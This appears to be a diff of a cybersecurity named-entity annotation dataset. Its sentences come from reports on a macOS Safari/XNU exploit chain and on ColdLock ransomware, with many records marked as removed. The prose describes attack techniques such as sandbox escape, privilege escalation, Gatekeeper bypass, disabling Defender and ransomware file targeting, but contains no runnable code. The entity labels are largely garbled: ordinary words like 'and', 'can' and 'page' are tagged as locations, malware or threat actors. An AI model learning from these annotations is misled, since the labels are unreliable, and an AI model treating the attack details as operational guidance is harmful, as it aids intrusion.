 {"id":12538,"text":"The parameter rid is a global counter which records the number of exploitation attempts.","entities":[],"relations":[],"Comments":[]}
 {"id":12539,"text":"This number was in the 200s when we obtained the exploit chain.","entities":[],"relations":[],"Comments":[]}
-{"id":12540,"text":"While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.","entities":[{"id":39021,"label":"location","start_offset":91,"end_offset":97},{"id":39023,"label":"location","start_offset":168,"end_offset":172}],"relations":[],"Comments":[]}
 {"id":12541,"text":"The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.","entities":[{"id":39026,"label":"location","start_offset":64,"end_offset":68},{"id":39028,"label":"location","start_offset":127,"end_offset":135},{"id":39029,"label":"location","start_offset":136,"end_offset":139},{"id":39031,"label":"attack-pattern","start_offset":154,"end_offset":174}],"relations":[],"Comments":[]}
 {"id":12542,"text":" Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.","entities":[{"id":39033,"label":"malware","start_offset":11,"end_offset":15},{"id":39034,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":12543,"text":"To verify this hypothesis, we ran git bisect and determined it was fixed in this commit.","entities":[{"id":39037,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":12544,"text":"Capstone.js","entities":[],"relations":[],"Comments":[]}
 {"id":12545,"text":"It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.","entities":[],"relations":[],"Comments":[]}
-{"id":12546,"text":"The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory.","entities":[{"id":39038,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":12547,"text":"Once the embedded Mach-O is loaded, the dlopen and dlsym addresses found using Capstone.js are used to patch the Mach-O loaded in memory.","entities":[{"id":39039,"label":"location","start_offset":18,"end_offset":22},{"id":39040,"label":"location","start_offset":47,"end_offset":50},{"id":39041,"label":"location","start_offset":91,"end_offset":94},{"id":39042,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":12548,"text":"With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs.","entities":[{"id":39043,"label":"location","start_offset":43,"end_offset":46},{"id":39044,"label":"location","start_offset":51,"end_offset":54},{"id":39045,"label":"location","start_offset":59,"end_offset":62},{"id":39046,"label":"location","start_offset":79,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":12549,"text":"Embedded Mach-O","entities":[{"id":39048,"label":"location","start_offset":9,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":12550,"text":"After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run.","entities":[{"id":39049,"label":"location","start_offset":43,"end_offset":47},{"id":39050,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":12551,"text":"Upon analysis, we realized this binary contained code which could escape the Safari sandbox, elevate privileges, and download a second stage from the C2.","entities":[{"id":39052,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":12552,"text":"Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.","entities":[{"id":39055,"label":"location","start_offset":14,"end_offset":18},{"id":39056,"label":"attack-pattern","start_offset":46,"end_offset":65},{"id":39057,"label":"location","start_offset":66,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":12553,"text":"It had to be extracted and converted into binary from a Uint32Array.","entities":[{"id":39058,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
 {"id":12554,"text":"Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism--each string is XOR encoded with a different key.","entities":[],"relations":[],"Comments":[]}
-{"id":12555,"text":"Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.","entities":[{"id":39059,"label":"location","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":12556,"text":"There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation.","entities":[{"id":39060,"label":"location","start_offset":13,"end_offset":16},{"id":39061,"label":"location","start_offset":28,"end_offset":31},{"id":39062,"label":"location","start_offset":41,"end_offset":45},{"id":39063,"label":"location","start_offset":74,"end_offset":78},{"id":39064,"label":"location","start_offset":79,"end_offset":83},{"id":39065,"label":"location","start_offset":98,"end_offset":103},{"id":39067,"label":"location","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":12557,"text":"The script parsed the Mach-O at each section where the strings were located, then decoded the strings with their respective XOR keys, and patched the binary with the resulting strings.","entities":[{"id":39068,"label":"location","start_offset":22,"end_offset":26},{"id":39069,"label":"location","start_offset":37,"end_offset":44},{"id":39070,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":12558,"text":"Once we had all of the strings decoded, it was time to figure out what capabilities the binary had.","entities":[{"id":39071,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":12559,"text":"There was code to download a file from a C2 but we did not come across any URL strings in the Mach-O so we checked the javascript and saw there were two arguments passed when the binary is run–the url for the payload and its size","entities":[{"id":39072,"label":"location","start_offset":94,"end_offset":98},{"id":39073,"label":"location","start_offset":130,"end_offset":133},{"id":39075,"label":"location","start_offset":217,"end_offset":220}],"relations":[],"Comments":[]}
 {"id":12560,"text":"After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper.","entities":[{"id":39076,"label":"tools","start_offset":89,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":12561,"text":"It then elevated privileges to install the payload.","entities":[],"relations":[],"Comments":[]}
 {"id":12562,"text":"day or 0-day?","entities":[],"relations":[],"Comments":[]}
@@ -12565,434 +8429,166 @@
 {"id":12565,"text":"Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets.","entities":[],"relations":[],"Comments":[]}
 {"id":12566,"text":"In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.","entities":[],"relations":[],"Comments":[]}
 {"id":12567,"text":"Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.","entities":[],"relations":[],"Comments":[]}
-{"id":12568,"text":"It needed the address of dlopen and dlsym patched after the binary was loaded into memory.","entities":[{"id":39084,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12569,"text":"These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it.","entities":[{"id":39086,"label":"location","start_offset":20,"end_offset":23},{"id":39087,"label":"location","start_offset":59,"end_offset":63},{"id":39088,"label":"location","start_offset":92,"end_offset":95},{"id":39089,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":12570,"text":"They are the equivalent of LoadLibrary and GetProcAddress in Windows.","entities":[{"id":39090,"label":"location","start_offset":5,"end_offset":8},{"id":39091,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":12571,"text":"To run the exploit in our virtual environment, we decided to write a loader in Python which did the following:  For our payload, we wrote a simple bash script which runs id and pipes the result to a file in \/tmp.","entities":[{"id":39092,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":12572,"text":"The result of the id command would tell us whether our script was run as a regular user or as root.","entities":[{"id":39093,"label":"location","start_offset":35,"end_offset":39},{"id":39094,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":12573,"text":"Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.","entities":[{"id":39095,"label":"location","start_offset":16,"end_offset":19},{"id":39096,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":12574,"text":"The exploit worked and ran our bash script as root.","entities":[{"id":39097,"label":"location","start_offset":19,"end_offset":22},{"id":39098,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":12575,"text":"We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.","entities":[{"id":39099,"label":"location","start_offset":61,"end_offset":65},{"id":39100,"label":"location","start_offset":67,"end_offset":71},{"id":39101,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":12576,"text":"It still worked.","entities":[],"relations":[],"Comments":[]}
-{"id":12577,"text":"We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.","entities":[{"id":39103,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":12578,"text":"The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.","entities":[],"relations":[],"Comments":[]}
-{"id":12579,"text":"Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit.","entities":[{"id":39108,"label":"location","start_offset":36,"end_offset":39},{"id":39109,"label":"location","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":12580,"text":"Elevating Privileges to Root The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag.","entities":[{"id":39110,"label":"location","start_offset":24,"end_offset":28},{"id":39111,"label":"location","start_offset":33,"end_offset":37},{"id":39112,"label":"location","start_offset":54,"end_offset":57},{"id":39113,"label":"location","start_offset":148,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":12581,"text":"This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.","entities":[],"relations":[],"Comments":[]}
-{"id":12582,"text":"Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932).","entities":[{"id":39117,"label":"location","start_offset":80,"end_offset":84},{"id":39118,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":12583,"text":"Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021.","entities":[{"id":39120,"label":"location","start_offset":73,"end_offset":79},{"id":39123,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":12584,"text":"In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd.  After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl.","entities":[{"id":39126,"label":"location","start_offset":24,"end_offset":28},{"id":39127,"label":"location","start_offset":98,"end_offset":102},{"id":39128,"label":"location","start_offset":108,"end_offset":112},{"id":39129,"label":"location","start_offset":161,"end_offset":165},{"id":39130,"label":"location","start_offset":199,"end_offset":203},{"id":39131,"label":"location","start_offset":233,"end_offset":236},{"id":39132,"label":"location","start_offset":250,"end_offset":253},{"id":39133,"label":"location","start_offset":278,"end_offset":282},{"id":39134,"label":"location","start_offset":326,"end_offset":330},{"id":39135,"label":"location","start_offset":365,"end_offset":368}],"relations":[],"Comments":[]}
 {"id":12585,"text":"The payload seems to be a product of extensive software engineering.","entities":[],"relations":[],"Comments":[]}
-{"id":12586,"text":"It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2.","entities":[{"id":39136,"label":"location","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":12587,"text":"It also has several components, some of which appear to be configured as modules.","entities":[],"relations":[],"Comments":[]}
 {"id":12588,"text":"For example, the payload we obtained contained a kernel module for capturing keystrokes.","entities":[],"relations":[],"Comments":[]}
-{"id":12589,"text":"There are also other functionalities built-in to the components which were not directly accessed from the binaries included in the payload but may be used by additional stages which can be downloaded onto the victim's machine.","entities":[{"id":39137,"label":"location","start_offset":6,"end_offset":9},{"id":39138,"label":"location","start_offset":143,"end_offset":146},{"id":39139,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]}
 {"id":12590,"text":"Notable features for this backdoor include:  Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.","entities":[{"id":39140,"label":"location","start_offset":96,"end_offset":99},{"id":39141,"label":"location","start_offset":105,"end_offset":109},{"id":39142,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":39143,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":12591,"text":"We continue to collaborate with internal teams like Google Safe Browsing to block domains and IPs used for exploit delivery and industry partners like Apple to mitigate vulnerabilities.","entities":[{"id":39145,"label":"location","start_offset":90,"end_offset":93},{"id":39146,"label":"location","start_offset":124,"end_offset":127},{"id":39147,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":12592,"text":"We are appreciative of Apple’s quick response and patching of this critical vulnerability.","entities":[{"id":39149,"label":"location","start_offset":3,"end_offset":6},{"id":39151,"label":"location","start_offset":31,"end_offset":36},{"id":39152,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":12593,"text":"For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).","entities":[{"id":39153,"label":"location","start_offset":59,"end_offset":63},{"id":39154,"label":"location","start_offset":116,"end_offset":124},{"id":39157,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":12594,"text":"That campaign is not connected to the one described in today’s post.","entities":[{"id":39158,"label":"location","start_offset":5,"end_offset":13},{"id":39159,"label":"location","start_offset":38,"end_offset":41},{"id":39161,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":12595,"text":"  Delivery URLs Javascript Sandbox escape \/ LPE Backdoor C2 This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12596,"text":"It was last updated on October 29, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12597,"text":"Updated on May 6, 2020, 7:20 Pacific Time with further details regarding directories targeted for encryption.","entities":[{"id":39165,"label":"TIME","start_offset":24,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":12598,"text":"A new targeted attack has infected several organizations in Taiwan with a new ransomware family, which we have dubbed ColdLock.","entities":[],"relations":[],"Comments":[]}
-{"id":12599,"text":"This attack is potentially destructive as the ransomware appears to target databases and email servers for encryption.","entities":[{"id":39168,"label":"location","start_offset":68,"end_offset":74},{"id":39169,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":12600,"text":"The information we gathered indicates that this attack started hitting organizations in early May.","entities":[],"relations":[],"Comments":[]}
 {"id":12601,"text":"Analysis of the malware points to similarities between ColdLock and two previously known ransomware families, specifically Lockergoga, Freezing, and the EDA2 “educational” ransomware kit.","entities":[{"id":39171,"label":"location","start_offset":24,"end_offset":30},{"id":39172,"label":"location","start_offset":47,"end_offset":54},{"id":39174,"label":"location","start_offset":64,"end_offset":67},{"id":39178,"label":"location","start_offset":145,"end_offset":148},{"id":39179,"label":"malware","start_offset":153,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":12602,"text":"There have been no indications that this attack has hit any other organization outside of those targeted; we do not believe that this family is currently in widespread use.","entities":[{"id":39180,"label":"identity","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":12603,"text":"Trend Micro users are protected from this threat, which we detect as Ransom.MSIL.COLDLOCK.YPAE-A and Ransom.PS1.COLDLOCK.YPAE-A.","entities":[{"id":39182,"label":"location","start_offset":18,"end_offset":21},{"id":39183,"label":"location","start_offset":69,"end_offset":75},{"id":39184,"label":"location","start_offset":97,"end_offset":100},{"id":39185,"label":"location","start_offset":101,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":12604,"text":"The blog post below describes the behavior of this threat, and describes its links to other ransomware threats.","entities":[{"id":39186,"label":"location","start_offset":9,"end_offset":13},{"id":39187,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":12605,"text":"Arrival Vector","entities":[{"id":39188,"label":"tools","start_offset":8,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":12606,"text":"We currently do not know the initial arrival vector of this threat into a potential victim’s network.","entities":[{"id":39189,"label":"tools","start_offset":45,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":12607,"text":"However, we believe that the attackers somehow gained access to the target organization’s Active Directory servers.","entities":[{"id":39190,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":12608,"text":"From this point, they were able to set Group Policies that led to the ransomware file being downloaded and run onto machines within the affected domain.","entities":[{"id":39191,"label":"location","start_offset":10,"end_offset":15},{"id":39192,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":12609,"text":"The payload arrives as a .NET executable (as a .DLL file), which has been packed\/protected using the ConfuserEx packer.","entities":[],"relations":[],"Comments":[]}
 {"id":12610,"text":"It uses PowerShell reflective loading of .NET executables to run the said .DLL file:  Figure 1. Reflective loading of the .DLL file","entities":[{"id":39193,"label":"attack-pattern","start_offset":8,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":12611,"text":"It also contains two checks to verify if it’s running.","entities":[],"relations":[],"Comments":[]}
-{"id":12612,"text":"Firstly, it checks for the presence of %System Root%\\ProgramData\\readme.tmp, which is used by the ransom note.","entities":[{"id":39197,"label":"location","start_offset":98,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":12613,"text":"This check prevents a system from being reinfected by the same threat:  Figure 2.","entities":[{"id":39198,"label":"location","start_offset":5,"end_offset":10},{"id":39199,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":12614,"text":"Ransom note check","entities":[{"id":39201,"label":"location","start_offset":0,"end_offset":6},{"id":39202,"label":"location","start_offset":12,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":12615,"text":"More unusually, it will check the system clock.","entities":[{"id":39203,"label":"location","start_offset":19,"end_offset":23},{"id":39204,"label":"location","start_offset":24,"end_offset":29}],"relations":[],"Comments":[]}
 {"id":12616,"text":"It will only run at or later than 12:10 PM on any given day; if it is earlier, it will sleep for 15 seconds until it is past the said time.","entities":[{"id":39205,"label":"location","start_offset":3,"end_offset":7},{"id":39206,"label":"location","start_offset":8,"end_offset":12},{"id":39207,"label":"TIME","start_offset":34,"end_offset":42},{"id":39209,"label":"location","start_offset":82,"end_offset":86},{"id":39210,"label":"TIME","start_offset":97,"end_offset":107},{"id":39211,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":12617,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
-{"id":12618,"text":"Time bomb in code Encryption Routines","entities":[{"id":39213,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":12619,"text":"Before it encrypts any file, the ransomware also performs certain preparatory routines.","entities":[],"relations":[],"Comments":[]}
-{"id":12620,"text":"Firstly, it terminates several services on the system if they are running to prevent file access violations.","entities":[{"id":39215,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":12621,"text":"These services are:  mariadb msexchangeis mssql mysql oracleservice  These are service names used by various databases, as well as the Exchange mail server.","entities":[{"id":39216,"label":"location","start_offset":15,"end_offset":18},{"id":39217,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":12622,"text":"It will also terminate the Outlook process.","entities":[{"id":39219,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":12623,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":12624,"text":"Service and process termination","entities":[{"id":39222,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":12625,"text":"It also checks the Windows version running on the system.","entities":[],"relations":[],"Comments":[]}
 {"id":12626,"text":"If it is running Windows 10, it carries out several Windows 10-specific routines.","entities":[],"relations":[],"Comments":[]}
 {"id":12627,"text":"Windows Defender is disabled, as well as the ability to send feedback\/malware samples to Microsoft.","entities":[],"relations":[],"Comments":[]}
-{"id":12628,"text":"Push notifications are disabled as well.","entities":[{"id":39225,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":12629,"text":"Figure 5. Disabling Windows Defender","entities":[],"relations":[],"Comments":[]}
 {"id":12630,"text":"The actual encryption routine is slightly unusual.","entities":[],"relations":[],"Comments":[]}
-{"id":12631,"text":"It will avoid encrypting the following directories:  %System Root%\\Program Files %System Root%\\Program Files (x86) %System Root%\\ProgramData %System Root%\\Users\\all users %System Root%\\Users\\default {malware directory} {drive letter}:\\System Volume Information {drive letter}:\\$Recycle.bin  However, the following directories are exceptions to the above list, and would still be encrypted:  %System Root%\\ProgramData\\Microsoft\\Windows\\Start Menu %System Root%\\Program Files\\Microsoft\\Exchange Server %System Root%\\Program Files (x86)\\Microsoft\\Exchange Server Directories under (Program Files, Program Files (x86), and ProgramData) containing any of the following strings: sql mariadb oracle    Whether files in other directories are encrypted depends on a set of three conditions, namely:  Number of files on the target directory is less than 100 Directory’s last write time is newer than January 1, 2018.","entities":[{"id":39227,"label":"location","start_offset":3,"end_offset":7},{"id":39228,"label":"location","start_offset":326,"end_offset":329},{"id":39229,"label":"location","start_offset":354,"end_offset":358},{"id":39230,"label":"location","start_offset":360,"end_offset":363},{"id":39231,"label":"location","start_offset":615,"end_offset":618},{"id":39232,"label":"location","start_offset":685,"end_offset":691},{"id":39233,"label":"location","start_offset":730,"end_offset":733},{"id":39234,"label":"location","start_offset":814,"end_offset":820},{"id":39235,"label":"location","start_offset":871,"end_offset":875},{"id":39236,"label":"location","start_offset":901,"end_offset":905}],"relations":[],"Comments":[]}
 {"id":12632,"text":"Directory name should not contain any of the following strings: .git appdata cache image lib log logs microsoft reference res resource script setup skin temp theme third_party thirdparty    If all of the above conditions are met, it will encrypt all the files in the given directory except those with the following extensions:  .avi .dll .gif .iso .m2ts .mkv .mov .mp3 .msi .ocx .tmp .wmv  ","entities":[{"id":39237,"label":"location","start_offset":77,"end_offset":82},{"id":39238,"label":"identity","start_offset":102,"end_offset":111},{"id":39239,"label":"location","start_offset":221,"end_offset":224},{"id":39240,"label":"location","start_offset":233,"end_offset":237},{"id":39241,"label":"location","start_offset":267,"end_offset":272}],"relations":[],"Comments":[]}
-{"id":12633,"text":"In other cases — where some (or all) of the conditions are not met — it will only encrypt files with the following extensions:  .7z .aspx .bak .cpp .csv .doc .docx .gz .hwp .java .jpg .jsp .lnk","entities":[{"id":39242,"label":"location","start_offset":55,"end_offset":58},{"id":39243,"label":"location","start_offset":72,"end_offset":76},{"id":39244,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":12634,"text":".odt","entities":[],"relations":[],"Comments":[]}
 {"id":12635,"text":".one","entities":[],"relations":[],"Comments":[]}
 {"id":12636,"text":".php .ppt","entities":[],"relations":[],"Comments":[]}
 {"id":12637,"text":".pptx .pst .rar .sh .sql .txt .xls .xlsx .xml .zip","entities":[],"relations":[],"Comments":[]}
 {"id":12638,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":12639,"text":"Whitelist\/blacklist code","entities":[],"relations":[],"Comments":[]}
-{"id":12640,"text":"The encryption process uses the AES function in CBC mode.","entities":[{"id":39246,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":12641,"text":"It generates the needed key and initialization vector (IV) using a salt and secret key; the former is embedded in the code while the latter is generated dynamically using the SHA-256 hash of a randomly generated 32-byte long string.","entities":[{"id":39247,"label":"location","start_offset":28,"end_offset":31},{"id":39248,"label":"tools","start_offset":47,"end_offset":53},{"id":39249,"label":"location","start_offset":67,"end_offset":71},{"id":39250,"label":"location","start_offset":72,"end_offset":75},{"id":39252,"label":"location","start_offset":220,"end_offset":224}],"relations":[],"Comments":[]}
 {"id":12642,"text":"This is then encrypted using a hard-coded public RSA key and then embedded in the ransom note.","entities":[{"id":39253,"label":"location","start_offset":31,"end_offset":35},{"id":39254,"label":"location","start_offset":42,"end_offset":48},{"id":39255,"label":"identity","start_offset":49,"end_offset":52},{"id":39256,"label":"location","start_offset":57,"end_offset":60},{"id":39257,"label":"location","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12643,"text":"Encrypted files get the .locked extension.","entities":[{"id":39258,"label":"location","start_offset":32,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":12644,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":12645,"text":"AES encryption code  Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":12646,"text":"Secret key generation","entities":[],"relations":[],"Comments":[]}
-{"id":12647,"text":"The ransom note is stored in various locations on the system, namely:  %Desktop%\\How To Unlock Files.Txt %System Root%\\ProgramData\\readme.tmp %User Startup%\\How To Unlock Files.Txt {Encrypted Drive}:\\How To Unlock Files.","entities":[{"id":39261,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":12648,"text":"Txt","entities":[],"relations":[],"Comments":[]}
-{"id":12649,"text":" The contents of this note are similar to other ransomware notes:  Figure 9.","entities":[{"id":39262,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":12650,"text":"Ransom note","entities":[{"id":39264,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":12651,"text":"The ransomware then changes the system’s wallpaper for all users; it now contains an instruction to read a text file (the ransom note).","entities":[{"id":39265,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":12652,"text":"It does this by changing several registry settings.","entities":[],"relations":[],"Comments":[]}
 {"id":12653,"text":" Figure 10. Modified system wallpaper","entities":[],"relations":[],"Comments":[]}
 {"id":12654,"text":"Connections to other ransomware families","entities":[],"relations":[],"Comments":[]}
-{"id":12655,"text":"At first glance, it would seem that this threat is related to Lockergoga, since they share the same extension for encrypted files (.locked).","entities":[{"id":39268,"label":"location","start_offset":95,"end_offset":99},{"id":39269,"label":"location","start_offset":100,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":12656,"text":"However, other ransomware families also use this extension, making the connection more tenuous.","entities":[{"id":39270,"label":"location","start_offset":49,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":12657,"text":"A more reasonable link to the Freezing ransomware family exists.","entities":[],"relations":[],"Comments":[]}
-{"id":12658,"text":"It shares a similar method of propagation within networks (compromised AD servers), reflective injection methods, and internal module architecture.","entities":[{"id":39271,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":12659,"text":"The code also shares similarities with the open-source EDA2 ransomware kit.","entities":[{"id":39272,"label":"attack-pattern","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":12660,"text":"As early as several years ago, ransomware threats spreading in the wild were based on EDA2, which was supposedly only for “recreational” purposes.","entities":[{"id":39274,"label":"location","start_offset":3,"end_offset":8},{"id":39277,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":12661,"text":"Trend Micro solutions Ransomware continues to be a lingering threat, something we mentioned in our last Annual Security Roundup after seeing that the number of ransomware cases we detected climbed from 55 million in 2018 to 61 million in 2019.","entities":[],"relations":[],"Comments":[]}
-{"id":12662,"text":"Cases like these are more dangerous, as threats that compromise enterprise systems allow for much easier propagation within enterprise networks.","entities":[{"id":39284,"label":"location","start_offset":17,"end_offset":20},{"id":39285,"label":"location","start_offset":64,"end_offset":74},{"id":39286,"label":"location","start_offset":93,"end_offset":97},{"id":39287,"label":"location","start_offset":124,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12663,"text":"Below are some of the best practices users can do to protect systems from ransomware:  Periodically back up files using the 3-2-1 rule.","entities":[{"id":39288,"label":"location","start_offset":6,"end_offset":9},{"id":39289,"label":"location","start_offset":22,"end_offset":26},{"id":39290,"label":"location","start_offset":43,"end_offset":46},{"id":39291,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12664,"text":"The rule entails creating three backups in two different formats and storing one copy offsite.","entities":[{"id":39292,"label":"location","start_offset":4,"end_offset":8},{"id":39295,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":12665,"text":"Regularly patch and update applications, software, and operating systems to address any exploitable vulnerabilities.","entities":[{"id":39297,"label":"location","start_offset":16,"end_offset":19},{"id":39298,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":12666,"text":"For zero-day vulnerabilities, take advantage of virtual patching.","entities":[],"relations":[],"Comments":[]}
 {"id":12667,"text":"Activate sandbox analysis.","entities":[],"relations":[],"Comments":[]}
-{"id":12668,"text":"This enables safe monitoring as malicious files can be executed in an isolated environment.","entities":[{"id":39300,"label":"location","start_offset":13,"end_offset":17},{"id":39301,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":12669,"text":" For more robust and proactive defense against ransomware, the following Trend Micro solutions are recommended:  ","entities":[{"id":39302,"label":"location","start_offset":17,"end_offset":20},{"id":39304,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
